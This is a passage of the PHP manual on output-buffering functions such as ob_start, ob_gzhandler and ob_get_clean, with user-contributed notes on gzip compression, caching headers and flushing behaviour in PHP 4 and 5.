       header("HTTP/1.1 304 Not Modified");
       ob_end_clean();
       exit;
   }
}

$size=ob_get_length();
header("Last-Modified: ".$gmt_mtime);
header("Content-Length: $size");
ob_end_flush();

Instead of checking the If-Modified-Since-Header against the date of the last modification of the script, you can of course query a database or take any other date that is somehow related to the modification of the result of your script.

You can for instance use this technique to generate images dynamically. If the user indicates he already has a version of the image by the If-Modified-Since-Header, there's no need to generate it and let the server finally discard it because the server only then interpretes the If-Modified-Since-Header.
This saves server load and shortens response-times.
add a note add a note

后退 | 起点 | 前进
ob_clean | 上一级 | ob_end_flush


ob_end_flush

(PHP 4, PHP 5)

ob_end_flush -- Flush (send) the output buffer and turn off output buffering

Description

bool ob_end_flush ( void )

This function will send the contents of the topmost output buffer (if any) and turn this output buffer off. If you want to further process the buffer's contents you have to call ob_get_contents() before ob_end_flush() as the buffer contents are discarded after ob_end_flush() is called. The function returns TRUE when it successfully discarded one buffer and FALSE otherwise. Reasons for failure are first that you called the function without an active buffer or that for some reason a buffer could not be deleted (possible for special buffer).

注: This function is similar to ob_get_flush(), except that ob_get_flush() returns the buffer as a string.

The following example shows an easy way to flush and end all output buffers:

例子 1. ob_end_flush() example

<?php
  while (@ob_end_flush());
?>

注: If the function fails it generates an E_NOTICE.

The boolean return value was added in PHP 4.2.0.

See also ob_start(),
ob_get_contents(),
ob_get_flush(),
ob_flush() and
ob_end_clean().

add a note add a note User Contributed Notes
skippy at zuavra dot net
01-Jul-2005 05:10
Apart from being mostly redundant, ob_end_flush() can be downright damaging in some weird cases.

Actual example: a particular page on an Intranet website which would appear blank on Internet Explorer 6 when ob_start('ob_gzhandler') was called in the beginning and ob_end_flush() at the end.

We couldn't figure out what made that page special no matter what we tried. The ob_ functions were placed in scripts which were include()'d by all pages just the same, but only that page did this.

Even stranger, the problem only appeared on direct browser/server connections. Whenever the connection passed through a proxy the problem dissapeared. I'm guessing some kind of HTTP encoding headers mumbo-jumbo.

Solution: unless you really need it in particular cases, remove the ob_end_flush() call and rely on the builtin, automatic buffer flush.
jhannus at 128kb dot com
06-Jun-2004 12:18
A note on the above example...

with PHP 4 >= 4.2.0, PHP 5 you can use a combination of ob_get_level() and ob_end_flush() to avoid using the @ (error suppresion) which should probably be a little faaster.

<?php

while (ob_get_level() > 0) {
   ob_end_flush();
}

?>
kriek at jonkriek dot com
30-Mar-2003 01:22
ob_end_flush() isn't needed in MOST cases because it is called automatically at the end of script execution by PHP itself when output buffering is turned on either in the php.ini or by calling ob_start().
brett at realestate-school dot com
27-Sep-2002 04:01
It appears that you can call ob_end_flush() regardless of whether or not output buffering was ever started using ob_start(). This can prove useful because it saves you from having to create conditional statements based on whether a particular function or include file has started output buffering. You can simply call the ob_end_flush() anyway and if there's output in the buffer, it will be sent, otherwise your script will just keep on keepin' on.
add a note add a note

后退 | 起点 | 前进
ob_end_clean | 上一级 | ob_flush


ob_flush

(PHP 4 >= 4.2.0, PHP 5)

ob_flush -- Flush (send) the output buffer

Description

void ob_flush ( void )

This function will send the contents of the output buffer (if any). If you want to further process the buffer's contents you have to call ob_get_contents() before ob_flush() as the buffer contents are discarded after ob_flush() is called.

This function does not destroy the output buffer like ob_end_flush() does.

See also ob_get_contents(),
ob_clean(),
ob_end_flush() and
ob_end_clean().

add a note add a note User Contributed Notes
22-Sep-2005 09:37
I was having problems with output buffering which seemed to be active by default on the server, although phpinfo said something else..

In any case I needed to know that when I ran ob_start, it would start at the top level, so I could use ob_flush as it's intended without having to call multiple ob_flush in-script - this is what I did:

<?php

// make sure output buffering is off before we start it
// this will ensure same effect whether or not ob is enabled already
while (ob_get_level()) {
   ob_end_flush();
}
// start output buffering
if (ob_get_length() === false) {
   ob_start();
}

?>

Then I could call ob_flush(); followed by flush(); and get the output I wanted, which I didn't if I started the script with just ob_start();

This was on a windows apache 2 server with php 5.0.4 btw.
24-Jun-2005 09:27
You must call them in the correct order.
ob_flush();
flush();
Reynard Hilman
23-Jun-2005 05:29
when using command line php, if somewhere in your script you have ob_start(), you have to call ob_end_flush() first, and then you can call these functions:
flush();
ob_flush();

without calling ob_end_flush first, flush and ob_flush does not have any effect, at least that's what I experienced.
jeremy at e2-media dot co dot nz
26-May-2005 07:09
we had problems with flushing data to the browser. a simple call to ob_flush() or flush() would not work. We found that repeatly calling theses fuctions did work however.

<?
flush();
ob_flush();
flush();
ob_flush();
flush();
ob_flush();
?>

go figure!
15-Jan-2003 12:23
As far as I can tell the only way to mimic ob_flush()'s behaviour on PHP < 4.2.0 is calling ob_end_flush() followed by ob_start().
add a note add a note

后退 | 起点 | 前进
ob_end_flush | 上一级 | ob_get_clean


ob_get_clean

(PHP 4 >= 4.3.0, PHP 5)

ob_get_clean -- Get current buffer contents and delete current output buffer

Description

string ob_get_clean ( void )

This will return the contents of the output buffer and end output
buffering.  If output buffering isn't active then FALSE is returned.
ob_get_clean() essentially executes both
ob_get_contents() and
ob_end_clean().

例子 1. A simple ob_get_clean() example

<?php

ob_start();

echo "Hello World";

$out = ob_get_clean();
$out = strtolower($out);

var_dump($out);
?>

Our example will output:

string(11) "hello world"

See also ob_start() and ob_get_contents().

add a note add a note User Contributed Notes
ludvig dot ericson at gmail dot com
10-Aug-2005 10:10
Notice that the function beneath does not catch errors, so throw in an @ before those ob_* calls
webmaster at ragnarokonline dot de
02-Oct-2003 08:21
Running PHP4 < 4.3.0, you can simply add the following to use the function anyway:

<?php
if (!function_exists("ob_get_clean")) {
   function ob_get_clean() {
       $ob_contents = ob_get_contents();
       ob_end_clean();
       return $ob_contents;
   }
}
?>
add a note add a note

后退 | 起点 | 前进
ob_flush | 上一级 | ob_get_contents


ob_get_contents

(PHP 4, PHP 5)

ob_get_contents -- Return the contents of the output buffer

Description

string ob_get_contents ( void )

This will return the contents of the output buffer or FALSE, if output buffering isn't active.

See also ob_start() and ob_get_length().

add a note add a note User Contributed Notes
m227 ( at ) poczta dot onet dot pl
24-Feb-2005 10:53
if you use ob_start with a callback function as a parameter, and that function changes ob string (as in example in manual) don't expect that ob_get_contents will return changed ob.
it will work as you would use ob_start with no parameter at all. So don't be confused.
http://www.francescosaf.altervista.org
08-Feb-2005 06:04
transfer image, another method (alternative to fsockopen or function socket) :

server(192.168.0.1)
makeimage.php
       ...........
       ...........
       $nameimage="xxxx.jpg"
       $comand=exec("plotvelocity.sh $nameimage $paramater1 $paramater2");
       ob_start();
       readfile($nameimage);
       $image_data = ob_get_contents();
       ob_end_clean();
       echo $image_data;
       unlink($nameimage);

Client  (192.168.0.2)
  $bild="images/newimage2.gif";
  $host="192.168.0.1";
  $url=file_get_contents("http://$host/makeimage.php?$querystring");
  $fp = fopen("$bild", 'wb');
  fwrite($fp, $url);
  fclose($fp);
  echo '<img src="'.$bild.'">';

naturally you can transfer whichever thing and not only images
add a note add a note

后退 | 起点 | 前进
ob_get_clean | 上一级 | ob_get_flush


ob_get_flush

(PHP 4 >= 4.3.0, PHP 5)

ob_get_flush -- Flush the output buffer, return it as a string and turn off output buffering

Description

string ob_get_flush ( void )

ob_get_flush() flushs the output buffer, return it as a string and turns off output buffering. ob_get_flush() returns FALSE if no buffering is active.

注: This function is similar to ob_end_flush(), except that this function returns the buffer as a string.

例子 1. ob_get_flush() example

<?php
//using output_buffering=On
print_r(ob_list_handlers());

//save buffer in a file
$buffer = ob_get_flush();
file_put_contents('buffer.txt', $buffer);

print_r(ob_list_handlers());
?>

上例将输出：

Array
(
    [0] => default output handler
)
Array
(
)

See also ob_end_clean(),
ob_end_flush() and
ob_list_handlers().

add a note add a note User Contributed Notes
zubin@byron
08-Sep-2005 10:28
Correction to previous post: ob_get_clean() is better, ie:

<?php
// start generating html
$html = '<html><head>'; // etc
// start output buffering
ob_start();
// call function which outputs immediately
print_menu();
// append this to $html and empty buffer
$html .= ob_get_clean();
?>
zubin@byron
01-Sep-2005 04:21
I found this function is useful for storing output instead of displaying it. For example, I wanted to use an old function which echoed the ouput but I wanted it in a variable, not outputted immediately. Here's how:

<?php
// start generating html
$html = '<html><head>'; // etc
// start output buffering
ob_start();
// call function which outputs immediately
print_menu();
// append this to $html
$html .= ob_get_flush();
// empty output buffer
ob_clean();
?>
add a note add a note

后退 | 起点 | 前进
ob_get_contents | 上一级 | ob_get_length


ob_get_length

(PHP 4 >= 4.0.2, PHP 5)

ob_get_length -- Return the length of the output buffer

Description

int ob_get_length ( void )

This will return the length of the contents in the output buffer or FALSE, if output buffering isn't active.

See also ob_start() and ob_get_contents().

add a note add a note User Contributed Notes
rush at logic dot cz
02-Dec-2005 06:02
There is a work-around for the situation you need to get length of the gz-ed buffer.

ob_start();
ob_start('ob_gzhandler');

  ... output the page content...

ob_end_flush();  // The ob_gzhandler one

header('Content-Length: '.ob_get_length());

ob_end_flush();  // The main one

more info at http://www.edginet.org/techie/website/http.html
prophp at gmail dot com
15-Oct-2005 02:56
It's interesting how ob_start("ob_gzhandler"); or ob_gzhandler(); affect this function. The returned size is the buffer uncompressed size; therefore something like strlen(ob_get_contents()); just (hopefully) faster. However in order to obtain the compressed buffer size; there seem to be no function around.

Calin
webmaster at crescentart dot com
30-Jun-2001 04:58
Here is an easy way to get the header Content-Lenght.
<?
ob_start();
?>

Put HTML tags.

<?
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
?>
add a note add a note

后退 | 起点 | 前进
ob_get_flush | 上一级 | ob_get_level


ob_get_level

(PHP 4 >= 4.2.0, PHP 5)

ob_get_level -- Return the nesting level of the output buffering mechanism

Description

int ob_get_level ( void )

This will return the level of nested output buffering handlers or zero if output buffering is not activated.

See also ob_start() and ob_get_contents().

add a note add a note User Contributed Notes
18-May-2005 11:45
Sometimes, ob_get_level() may be off by 1 because at the start of the script, it will return 1 even if ob_start() has never been called (and clearing the output buffer via ob_end_clean() and the like can be done without error).  As a result, the first ob_start() will have an ob_get_level() of 2, the second will be 3, and so on.

I'm not sure if this is a PHP 5 thing or possibly because our server is set to gzip all html documents.

Also, up until at least PHP 5.0.4 (current version), ob_get_level() will always return 0 inside a destructor.  This happens because the garbage collection for output buffers has already done before the destructor is called.  If you want to do something with the output buffer from within an object before the script exits, using a callback function with ob_start() is the way to go.
bonzini at gnu dot org
08-Jul-2004 12:03
Even under older PHP, you can decide if output buffering is active (i.e. ob_get_level() > 0) using

   $ob_active = ob_get_length () !== FALSE

Paolo
tit dot petric at nospam dot telemach dot net
23-Jun-2002 03:01
function condor_error($errno, $errstr, $errfile, $errline)
{
       $errors = array(E_USER_ERROR, E_ERROR, E_PARSE);
       if (in_array($errno,$errors)) {
               while (ob_get_level()) {
                       ob_end_clean();
               }
               echo "<B>FATAL</B> [".$errno."] ".$errstr."<br>\n";
               echo "Fatal error at line ".$errline." of file ".$errfile;
               echo ", PHP ".PHP_VERSION." (".PHP_OS.")<br>\n";
               echo "Aborting...<br><br>\n\n";
               exit;
       }
}

set_error_handler("condor_error");

in case you wanted to use a function to use for deleting all buffered output (to clearly display errors), you have it above

this eliminates the need for ob_end_clean_all() in php. good code :)
add a note add a note

后退 | 起点 | 前进
ob_get_length | 上一级 | ob_get_status


ob_get_status

(PHP 4 >= 4.2.0, PHP 5)

ob_get_status -- Get status of output buffers

Description

array ob_get_status ( [bool full_status] )

This will return the current status of output buffers. It returns array contains buffer status or FALSE for error.

See also ob_get_level().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ob_get_level | 上一级 | ob_gzhandler


ob_gzhandler

(PHP 4 >= 4.0.4, PHP 5)

ob_gzhandler -- ob_start callback function to gzip output buffer

Description

string ob_gzhandler ( string buffer, int mode )

注: ob_gzhandler() requires the zlib extension.

ob_gzhandler() is intended to be used as a callback function for ob_start() to help facilitate sending gz-encoded data to web browsers that support compressed web pages. Before ob_gzhandler() actually sends compressed data, it determines what type of content encoding the browser will accept ("gzip", "deflate" or none at all) and will return its output accordingly. All browsers are supported since it's up to the browser to send the correct header saying that it accepts compressed web pages.

注: mode was added in PHP 4.0.5.

例子 1. ob_gzhandler() example

<?php

ob_start("ob_gzhandler");

?>
<html>
<body>
<p>This should be a compressed page.</p>
</html>
<body>

注: You cannot use both ob_gzhandler() and zlib.output_compression. Also note that using zlib.output_compression is preferred over ob_gzhandler().

See also ob_start() and ob_end_flush().

add a note add a note User Contributed Notes
michael at michaelphipps dot com
30-Apr-2006 06:34
It is also possible to use ob_gzhandler to compress css and javascript files, however some browsers such as firefox expect content type text/css on css files.

To get around this send a content type header:

<?php
ob_start('ob_gzhandler');
?>

.... your css content ...

<?php
header("Content-Type: text/css");
header("Content-Length: ".ob_get_length());
ob_end_flush();
?>
mariusads[at]helpedia[dot]com
05-Feb-2006 01:56
Please be aware that, as other users have already mentioned, the compression will fail if there are characters before the php start tag "< ?".

This is also the case when saving files in UTF-8 format with editors such as Ultraedit. Make sure you save the file using the defined option UTF-8 NO BOM or delete the BOM otherwise the two UTF BOM characters will be written at the start of the file.
lapoint2 at msu dot edu
07-Sep-2005 09:40
So why doesn't the web server just do this by default?
This works for me if I do:
ini_set('zlib.output_compression_level', 3);  ob_start("ob_gzhandler");
or even just:
ob_start("ob_gzhandler");

I did the level 3 compression, I think the default was 6 and I didn't want to put too much load on the server.  For a 895k file (my largest) the compression levels were:
1 = 189k
3 = 178k
4 = 163k
6 = 156k    (I believe 6 is the default if you leave out the ini_set)
9 = 155k
I use http://www.whatsmyip.org/mod_gzip_test/ to check the sizes.

FYI: This works with dynamic files in Movable Type 3.x (I'm testing it in 3.2) I've got the above command in the first line of my mtview.php file.

More info here: http://www.whatsmyip.org/forum/viewtopic.php?t=43

On several sites I've read the some browsers don't like compressed CSS.
Tony Piper
14-Jun-2005 10:11
I just spent 30 minutes wondering why my browser wasn't getting the gzipped version :-O

If you're using Google Web Access your pages will  be delivered to the browser uncompressed unless you tell GWA to ignore the specific site.

Obvious, really.
25-May-2005 06:27
No matter the circumstances, you MUST NOT check the user agent string to find out if gzip compression is enabled. HTTP defines the Accept-Encoding header for exactly this purpose and you MUST check it before enabling compression.
m at rtij dot nl
16-Apr-2005 08:29
All versions of MSIE have a bug where they don't cache gzipd contents. If your application depends on caching, this is something to keep in mind. In the end, I did:

<?php

// These are so benificial, they default to true.
if (!isset($use_page_cache))
   $use_page_cache = 1;
if (!isset($use_compression))
   $use_compression = 1;

// Add browsers here as we must detect them. Opera is an oddball, if we don't detect
// it specifically, it will turn up as MSIE

$browser="other";
if (isset($_SERVER['HTTP_USER_AGENT'])) {
   $agent = $_SERVER['HTTP_USER_AGENT'];
   if (eregi("opera",$agent)){
   $browser="opera";
   }elseif(eregi("msie",$agent)){
   $browser="msie";
   }
}

if ($use_compression && !( $use_page_cache && $browser == "msie")) {
   // Turn on compression, makes quite a difference in bandwith usage.
   // However, MSIE (all versions) have a bug with compression and caching. So for MSIE
   // it's either compression or caching. We choose caching.
   ob_start('ob_gzhandler');
}

session_cache_limiter("must-revalidate");

session_start();

// ... put stuff in $content ...

if ($use_page_cache) {
   // MD5 is slow, however with a fast server (PIII or better) we should be OK
   $hash = md5($content);
   $headers = getallheaders();
   if (isset($headers['If-None-Match']) && ereg($hash, $headers['If-None-Match']))
   {
   header('HTTP/1.1 304 Not Modified');
   exit;
   }
   header("ETag: \"$hash\"");
}

print $content;

?>
John
17-Mar-2005 11:30
I found a site you can use to verify if your gzipping is working:
http://www.whatsmyip.org/mod_gzip_test/
It tests the gzip'ness of your page.
grange (at) club-internet (dot) fr
07-Mar-2005 11:17
It may seem obvious but if you use ob_start("ob_gzhandler"),  make sure no content is unintentionally echo'ed before : this could be blank lines before '<?php' or after '?>' tags in included files or even errors.

Otherwise, only a part of the content (the content sent after ob_start()) will be compressed, which will confuse the client.

Setting compression using zlib.output_compression either in php.ini or in Apache configuration file (with directive php_flag) is safer in this regard.
wallacebw at some-domain dot com
22-Feb-2005 01:50
IE 6+ appears to validate the CRC and disgard invalid gzip content FYI...
Brian
andy dot rem dot ove dot this at occ dot be
01-Apr-2004 06:21
From what I can understand, quite some people seem to have problems with this functionality.  If you want to do this quick, like i did, you can use the outstanding class gzip_encode made by Leknor at http://leknor.com/code/php/view/class.gzip_encode.php.txt
mazsolt at yahoo dot com
18-Mar-2004 11:20
if you want to send an output to the browser (which accepts gzip), and you haven't set the buffering callback ob_start("ob_gzhandler"), you may use the gzencode() function.

header("Content-Encoding: gzip");
echo gzencode("some output", 9, FORCE_GZIP);
daijoubuNOSP at Mvideotron dot ca
27-Oct-2003 06:05
So much code...here's a lighter/faster one:
<?php

if ( $do_gzip_compress )
{
   $gzip_size        = ob_get_length();
   $gzip_contents    = ob_get_clean(); // PHP < 4.3 use ob_get_contents() + ob_end_clean()

   echo "\x1f\x8b\x08\x00\x00\x00\x00\x00",
         substr(gzcompress($gzip_contents, 9), 0, - 4), // substr -4 isn't needed
         pack('V', crc32($gzip_contents)),    // crc32 and
         pack('V', $gzip_size);              // size are ignored by all the browsers i have tested
}

exit;
?>
I wouldn't recommande using level 9, waste of CPU, something between 1 and 6 would be more resonable
I have tested without the substr/crc/size and it worked flawlessly in IE5/5.5/6, Opera7.11/7.21, IE5.5 MAC
brewthatistrue at plzYnoAspamHorOevilO dot com
21-Sep-2003 05:04
i had a LOT of trouble trying to get gzipping working correctly
i kept getting a blank page on the first load, although subsequent pages loaded fine.
i tried stuff with ob_flush and ob_end_clean and all kinds of stuff i didn't understand. i'm totally confused about different versions of php and different methods of gzipping.

in the end, i got it working (maybe i'll understand it later).
i ended up using phpBB's code (stripped of non-gz stuff, and ever-so-slightly modified)
http://phpbb.com/

index.php:
------------
<?php
require_once('top.php');

echo "<html>\n<head>\n<title>Gzip Test</title>\n<body>\n<h1>testing</h1>\n</body>\n</html>";

require_once('bottom.php');
?>

gz_header.php - taken form phpBB's page_header.php
--------------
<?php
   $phpver = phpversion();

   $useragent = (isset($_SERVER["HTTP_USER_AGENT"]) ) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT;

   if ( $phpver >= '4.0.4pl1' && ( strstr($useragent,'compatible') || strstr($useragent,'Gecko') ) )
   {
       if ( extension_loaded('zlib') )
       {
           ob_start('ob_gzhandler');
       }
   }
   else if ( $phpver > '4.0' )
   {
       if ( strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip') )
       {
           if ( extension_loaded('zlib') )
           {
               $do_gzip_compress = TRUE;
               ob_start();
               ob_implicit_flush(0);

               header('Content-Encoding: gzip');
           }
       }
   }
?>
gz_footer.php - taken form phpBB's page_tail.php
------------
<?php
// Compress buffered output if required and send to browser
if ( $do_gzip_compress )
{
   //
   // Borrowed from php.net!
   //
   $gzip_contents = ob_get_contents();
   ob_end_clean();

   $gzip_size = strlen($gzip_contents);
   $gzip_crc = crc32($gzip_contents);

   $gzip_contents = gzcompress($gzip_contents, 9);
   $gzip_contents = substr($gzip_contents, 0, strlen($gzip_contents) - 4);

   echo "\x1f\x8b\x08\x00\x00\x00\x00\x00";
   echo $gzip_contents;
   echo pack('V', $gzip_crc);
   echo pack('V', $gzip_size);
}

exit;
?>

i must admit to not seeing this working in opera 7.11. perhaps i will figure that one out.
if there is anything i should change email me and i can edit my post
jazfresh at SPAM-JAVELIN dot hotmail dot com
18-Sep-2003 10:54
In the set_error_handler notes, there is a technique described for capturing all errors (even parse errors) before they are displayed the user, using a special error handler and output handler. If this output handler detects a fatal error in the output buffer, it's captured and dealt with before it can be displayed to the user. If no error was detected, then output buffer is displayed verbatim (i.e. without being compressed).

If you are using this method, you can still take advantage of ob_gzhandler's compression. However, you MUST specify a mode argument (I'm using 4.2.2 on RedHat9). The mode value affects which headers are automatically added (Content-Encoding, etc). A value of '5' worked for me. '0' or discarding the argument produces a blank screen under Mozilla.

<?php

function my_output_handler(&$buffer) {
  // Detect errors in the output
  if(ereg("(error</b>:)(.+) in <b>(.+)</b> on line <b>(.+)</b>", $buffer, $regs)) {
   my_error_handler(E_ERROR, $regs[2], $regs[3], $regs[4]);
   // ...
   // ... Insert your error handling here ...
   // ...
   return 'An internal error occurred.';
  } else {
   // The page rendered without any errors, so compress
   // and output.
   return ob_gzhandler($buffer, 5);
  }
}
?>
daijoubu at videotron dot ca
07-Sep-2003 07:35
About the previous note from Davey:

ob_start(array('ob_gzhandler',9));

Does not work. The output size isnt affected at all, stays the same.

ob_gzhandler compression level use zlib.output_compression_level, which is -1 per default, level 6.

To change the compression level on the fly, simply use ini_set:
<?php
ini_set('zlib.output_compression_level', 1);
ob_start('ob_gzhandler');
echo 'This is compressed at level 1';
?>
nospam at 1111-internet dot com
15-Apr-2003 04:47
Following up on my previous post - it appears that while:

<?php
ini_set("zlib.output_compression", "Off"); // with no headers yet sent
// followed by the rest of your code...
?>

did not work in php 4.2.3, it did begin to work as of php 4.3.0 as an override to the php.ini "zlib.output_compression=on" setting. I did not see this in the change log.

In light of this, I'd say using zlib.output_compression is definitely the way to go over ob_gzhandler() in most cases.
10-Apr-2003 01:47
When using ob_start("ob_gzhandler"), be aware that the output buffer has to be flushed in order to invoke the ob_gzhandler callback function.

This may not always happen. For example, if you use ob_get_contents() to copy the output buffer to a string for further manipulation and then silently discard the buffer with ob_end_clean(), the output buffer is never "flushed" and as a result, the ob_gzhandler callback function is never invoked. And your pages won't be compressed.

This will be the case, for example, if you use the PHP Fusebox architecture/framework.
davey at its-explosive dot net
04-Apr-2003 10:41
To pass the second argument to ob_gzhandler() which specifies what level of compression should be used (which I assume is 1-9 as with the gzip binary, with 9 using the most processor and time to do, 4 is the standard IIRC) you must call ob_start() like so:

ob_start(array('ob_gzhandler',9));

- Davey
nospam at 1111-internet dot com
09-Mar-2003 07:23
Differences between zlib.output_compression and ob_gzhandler:

zlib.output_compression runs in parallel with script execution - it begins compressing as soon as it receives any output from your script, and sends data to the client each time its buffer (4K by default) gets full. ob_gzhandler (actually 'ob_start("ob_gzhandler");') will not start compressing until the script flushes (or, usually, exits), and will in turn send the entire compressed document at once - which makes it more susceptible to causing a perception of latency.

Advantage: zlib.output_compression

On the other hand, ob_gzhandler gives you script-level control allowing you to use it selectively or to unset it after setting it in certain cases. Despite some documentation to the contrary, zlib.output_compression does not appear to be able to be set or unset on a script level; you must instead set it globally (in php.ini) or in your webserver configs or .htaccess files, possibly using FilesMatch-type mechanisms to control which scripts it will or won't apply to - which could get unwieldy for large projects - particularly those which employ PHP to produce images and other non-text output in addition to normal text output.

Advantage: ob_gzhandler

Net advantage: depends on your particular needs. I'm trying zlib.output_compression for now, but I miss the flexibility that ob_gzhandler would provide.

p.s. here's an Apache 1.3.* httpd.conf/.htaccess file snippet that demonstrates the syntax for conditionally setting zlib.output_compression:

<FilesMatch "\.(php|html?)$">
# turn it on with the buffer set to 2K using php_value
php_value zlib.output_compression 2048
# or just turn it on using php_flag
# php_flag zlib.output_compression On
</FilesMatch>
aki at robotnik dot net
05-Mar-2003 03:13
if you get errors like:
"output handler 'ob_gzhandler' cannot be used twice"
if you are using
"ob_start("ob_gzhandler");"

check for your php.ini file, it should look like this:

output_buffering = Off  ; delete the 4096k value
output_handler =
zlib.output_compression = Off
dsugar100 at dolphinsoft dot com
07-Nov-2002 07:33
I have noticed that if you have the php setting for zlib.output_compression set to 'On' AND you attempt to use hte ob_gzhandler handler to ob_start () the output you get in the browser WILL be garbled in PHP 4.2.3.  I'm guessing that the output buffering is compressing the output to be sent, and then zlib is doing it a second time, but the browser is only uncompressing it once.

But using either one will give you the same results (compressed output from the script)
nid at home dot se
30-Sep-2002 07:10
If you are trying to use the ob_gzhandler in a MSHTA (Microsoft HTML Application) you will find that your pages does not show up. the MSHTA-browser probably says it can handle gzip, but it just won't work (IE:6, PHP:4.1.2)
psychones at ifrance dot com
08-Aug-2002 08:18
Problem revelate by xn@bnw.com

cause real problem when you have a global call
to ob_gzhandler , for example in an include configuration
file , and you want send a non gzip content , for any reason ...

To resolve it ,

put this after your global call to ob_gzhandler

include("conf_that_call_ob_gzhandler.php");
-->ob_end_clean();
-->header("Content-Encoding: none");

If you try to overload the header before the the ob_gzhandler call
or during the buffering output , it will not work .
( probably erase at the call of ob_gzhandler  and not allow during
buffering ).

Hope this help
isoma at altavista dot net
24-Jun-2002 10:44
RFC 2616 suggests that a more correct way to compress documents on the fly is to use gzip transfer encoding rather than gzip content encoding.    However, it's perhaps not advisable to use this since client support for it is extremely limited.

The difference is most evident when you come to save a file from your browser.  If it's gzip content encoded then the browser should (and may well) save it gzipped.  If it's gzip transfer encoded then the browser should uncompress it first.
Sven dot Dickert at planb dot de
29-May-2002 07:54
Following Browsers send
Accept-Encoding: gzip
but have Problems with
Content-Encoding: gzip

* netscape < 5 have problems with CSS/Javascript parts sendet in gzip
* opera 5.x,6 store downloads compressed
* lynx 2.8.4 store downloads compressed but tells this with attaching ".gz" to the filename

You should know about:
* Internet Explorer 5.x,6 should turned to HTTP 1.1 to get "Accept-Encoding: gzip"
* In Mozilla 1.0 RC2 you can write the "Accept-Encoding:" in Preferences/Advanced/HTTP Networking
xn at bnw dot com
13-Apr-2002 11:40
if you call ob_end_clean() after ob_start("ob_gzhandler"), the "Content-Encoding: gzip" header will still get sent (assuming the browser supports the encoding).  if you don't call ob_start() again with the ob_gzhandler callback function, the output will not be compressed, but the header will say it is.  this causes mozilla (as of build 2002032808) to display a blank page.
junior at jaj dot com
05-Mar-2002 02:12
To get this to work properly, you have to compile PHP with "--with-zlib". If you don't, you won't get any errors, it just won't actually compress anything. This is a phenomenal thing. For just a small bit of processor time, you can DRASTICALLY reduce the bandwidth requirement of your scripts. There are very few circumstances in which this should not be used.
add a note add a note

后退 | 起点 | 前进
ob_get_status | 上一级 | ob_implicit_flush


ob_implicit_flush

(PHP 4, PHP 5)

ob_implicit_flush -- Turn implicit flush on/off

Description

void ob_implicit_flush ( [int flag] )

ob_implicit_flush() will turn implicit flushing on or off (if no flag is given, it defaults to on). Implicit flushing will result in a flush operation after every output call, so that explicit calls to flush() will no longer be needed.

Turning implicit flushing on will disable output buffering, the output buffers current output will be sent as if ob_end_flush() had been called.

See also flush(),
ob_start(), and
ob_end_flush().

add a note add a note User Contributed Notes
Paul Yanchenko
22-Jan-2006 08:15
There is another workaround for ob_implicit_flush() in console. Yes, it doesn't works as expected, but you can get similar result by specifying chunk_size=2 in ob_start():

<?php
  ob_start('ob_logstdout', 2);
?>

This will result that every new line (which ends with \n) will flush output buffer.

Hope this will help you.
mhumphrey at _spammenot_designvision dot com
19-Aug-2003 05:41
From experimenting, it looks like using sessions with session.use_trans_sid=1 will force your output to be buffered regardless of this setting.

My guess is that this is so PHP can hunt for URLs in your output to automatically add the Session ID to them.  It must wait until script output is complete before it starts that replacement, rather than doing it "on the fly".

When i comment out my session_start() line, i get continuous output to the browser.  Put it back in, and i only see the page when it's completely loaded.  Change session.use_trans_sid = 0 and i get continuous output again.
calimero at Creatixnet dot com
08-Jul-2003 03:00
######### BEWARE ##########

There is a bug (or at least an unexpected feature of ob_implicit_flush) that has been already discussed on the PHP bugtracker :

http://bugs.php.net/bug.php?id=23877
http://bugs.php.net/bug.php?id=16676

Code like this WILL NOT work :

<?
// This will not work as expected on Linux.
ob_implicit_flush (1);
for($i=0;$i<10;$i++) {
   echo "grrrrrrrrrr\n";
   sleep(1);
}
?>

This feature happens on Linux versions of PHP, in all versions of php4 prior to 4.3.3 (don't know yet for the next ones) but also in php5 beta1. ob_implicit_flush has NO EFFECT on command-line (console, CLI) scripts, no flushing at all will be made, all output will be sent at the end of the script.

There is a workaround using ob_end_flush() and ob_flush, here it is :

<?
// This works !
ob_end_flush();
for($i=0;$i<10;$i++) {
  echo "yeah :-))))\n";
  @ob_flush();
  sleep(1);
}
?>

hope this will help. It would have helped me...
add a note add a note

后退 | 起点 | 前进
ob_gzhandler | 上一级 | ob_list_handlers


ob_list_handlers

(PHP 4 >= 4.3.0, PHP 5)

ob_list_handlers -- List all output handlers in use

Description

array ob_list_handlers ( void )

This will return an array with the output handlers in use (if any). If output_buffering is enabled or an anonymous function was used with ob_start(), ob_list_handlers() will return "default output handler".

例子 1. ob_list_handlers() example

<?php
//using output_buffering=On
print_r(ob_list_handlers());
ob_end_flush();

ob_start("ob_gzhandler");
print_r(ob_list_handlers());
ob_end_flush();

// anonymous functions
ob_start(create_function('$string', 'return $string;'));
print_r(ob_list_handlers());
ob_end_flush();
?>

上例将输出：

Array
(
    [0] => default output handler
)

Array
(
    [0] => ob_gzhandler
)

Array
(
    [0] => default output handler
)

See also
ob_end_clean(),
ob_end_flush(),
ob_get_flush(),
ob_start().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ob_implicit_flush | 上一级 | ob_start


ob_start

(PHP 4, PHP 5)

ob_start -- Turn on output buffering

Description

bool ob_start ( [callback output_callback [, int chunk_size [, bool erase]]] )

This function will turn output buffering on. While output buffering is active no output is sent from the script (other than headers), instead the output is stored in an internal buffer.

The contents of this internal buffer may be copied into a string variable using ob_get_contents(). To output what is stored in the internal buffer, use ob_end_flush(). Alternatively, ob_end_clean() will silently discard the buffer contents.

An optional output_callback function may be specified. This function takes a string as a parameter and should return a string. The function will be called when ob_end_flush() is called, or when the output buffer is flushed to the browser at the end of the request. When output_callback is called, it will receive the contents of the output buffer as its parameter and is expected to return a new output buffer as a result, which will be sent to the browser. If the output_callback is not a callable function, this function will return FALSE. If the callback function has two parameters, the second parameter is filled with a bit-field consisting of PHP_OUTPUT_HANDLER_START, PHP_OUTPUT_HANDLER_CONT and PHP_OUTPUT_HANDLER_END.

注: In PHP 4.0.4, ob_gzhandler() was introduced to facilitate sending gz-encoded data to web browsers that support compressed web pages. ob_gzhandler() determines what type of content encoding the browser will accept and will return its output accordingly.

注: Before PHP 4.3.2 this function did not return FALSE in case the passed output_callback can not be executed.

警告

